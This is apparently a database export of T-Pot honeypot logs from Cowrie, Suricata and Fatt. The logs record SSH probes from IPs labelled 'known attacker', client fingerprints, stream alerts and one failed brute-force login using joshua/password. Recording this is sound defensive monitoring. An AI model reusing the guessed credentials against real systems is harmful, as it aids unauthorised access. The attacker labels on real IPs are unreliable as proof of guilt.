"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34225	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:59:39.911851+03	2021-09-20 15:00:06.859059+03	{"_id": "UgYTA3wBvYTbRNuEelR-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1841454203498550, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42750, "dest_port": 22, "timestamp": "2021-09-20T11:59:39.911851Z", "@timestamp": "2021-09-20T11:59:39.911Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34226	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:59:39.911941+03	2021-09-20 15:00:06.861059+03	{"_id": "UwYTA3wBvYTbRNuEe1SF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42750, "dest_port": 22, "timestamp": "2021-09-20T11:59:39.911941", "@timestamp": "2021-09-20T11:59:39.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34227	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:59:41.123476+03	2021-09-20 15:00:06.862059+03	{"_id": "VAYTA3wBvYTbRNuEfVQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [joshua/password] failed", "session": "e53003ea71ff", "@version": "1", "password": "password", "username": "joshua", "timestamp": "2021-09-20T11:59:41.123476Z", "@timestamp": "2021-09-20T11:59:41.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34228	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:59:44.953191+03	2021-09-20 15:00:06.86306+03	{"_id": "YwYTA3wBvYTbRNuEjFTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:44272 (192.168.176.2:22) [session: a947a7deafaf]", "session": "a947a7deafaf", "@version": "1", "protocol": "ssh", "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:59:44.953191Z", "@timestamp": "2021-09-20T11:59:44.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34247	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:53.411064+03	2021-09-20 15:00:06.888059+03	{"_id": "jQYTA3wBvYTbRNuEsFQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "318d499fe0dd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:53.411064Z", "@timestamp": "2021-09-20T11:59:53.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34229	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:59:45.241104+03	2021-09-20 15:00:06.865059+03	{"_id": "ZAYTA3wBvYTbRNuEjFTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a947a7deafaf", "@version": "1", "timestamp": "2021-09-20T11:59:45.241104Z", "@timestamp": "2021-09-20T11:59:45.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34230	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:59:45.222027+03	2021-09-20 15:00:06.86606+03	{"_id": "ZQYTA3wBvYTbRNuEjlQI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39211, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1332300863333195, "@version": "1", "in_iface": "enp5s0", "src_port": 60903, "dest_port": 53, "timestamp": "2021-09-20T11:59:45.222027Z", "@timestamp": "2021-09-20T11:59:45.222Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34231	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:59:44.953789+03	2021-09-20 15:00:06.86706+03	{"_id": "bQYTA3wBvYTbRNuEj1QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35928, "timestamp": "2021-09-20T11:59:44.953789", "@timestamp": "2021-09-20T11:59:44.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34232	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:44.911056+03	2021-09-20 15:00:06.869059+03	{"_id": "bgYTA3wBvYTbRNuEj1QQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35928, "dest_port": 443, "timestamp": "2021-09-20T11:59:44.911056", "@timestamp": "2021-09-20T11:59:44.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34233	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:45.275411+03	2021-09-20 15:00:06.870059+03	{"_id": "bwYTA3wBvYTbRNuEj1QQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35930, "dest_port": 443, "timestamp": "2021-09-20T11:59:45.275411", "@timestamp": "2021-09-20T11:59:45.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34234	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:59:45.317576+03	2021-09-20 15:00:06.872059+03	{"_id": "cAYTA3wBvYTbRNuEj1QQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35930, "timestamp": "2021-09-20T11:59:45.317576", "@timestamp": "2021-09-20T11:59:45.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34237	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:39.637578+03	2021-09-20 15:00:06.875059+03	{"_id": "SQYTA3wBvYTbRNuEd1Sc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42750, "timestamp": "2021-09-20T11:59:39.637578", "@timestamp": "2021-09-20T11:59:39.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34238	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:59:39.636725+03	2021-09-20 15:00:06.87606+03	{"_id": "UQYTA3wBvYTbRNuEeVRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e53003ea71ff", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:39.636725Z", "@timestamp": "2021-09-20T11:59:39.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34239	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:59:47.341771+03	2021-09-20 15:00:06.878059+03	{"_id": "egYTA3wBvYTbRNuElVTa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:47.211295+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 833839843981663, "payload": "FwMDACLdoPyGbYz3RRJJGoan+BXxLggAvC7A5eGk8wfYI3EQRLRZ", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52678, "timestamp": "2021-09-20T11:59:47.341771Z", "@timestamp": "2021-09-20T11:59:47.341Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"....m..E.I..................#q.D.Y"}}	1	\N	\N	alert	\N	\N
34240	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:59:47.256667+03	2021-09-20 15:00:06.879059+03	{"_id": "eAYTA3wBvYTbRNuElVTa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:47.211295+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 833839843981663, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52678, "timestamp": "2021-09-20T11:59:47.256667Z", "@timestamp": "2021-09-20T11:59:47.256Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34241	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:59:47.689437+03	2021-09-20 15:00:06.88006+03	{"_id": "fQYTA3wBvYTbRNuEmFSY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a947a7deafaf", "@version": "1", "duration": 2.7332491874694824, "timestamp": "2021-09-20T11:59:47.689437Z", "@timestamp": "2021-09-20T11:59:47.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34242	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:59:47.509707+03	2021-09-20 15:00:06.88106+03	{"_id": "ewYTA3wBvYTbRNuElVTa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:47.211295+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 833839843981663, "payload": "FwMDACLdoPyGbYz3RRJJGoan+BXxLggAvC7A5eGk8wfYI3EQRLRZ", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52678, "timestamp": "2021-09-20T11:59:47.509707Z", "@timestamp": "2021-09-20T11:59:47.509Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"....m..E.I..................#q.D.Y"}}	1	\N	\N	alert	\N	\N
34243	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:59:47.211295+03	2021-09-20 15:00:06.88306+03	{"_id": "eQYTA3wBvYTbRNuElVTa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:47.211295+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 833839843981663, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52678, "timestamp": "2021-09-20T11:59:47.211295Z", "@timestamp": "2021-09-20T11:59:47.211Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
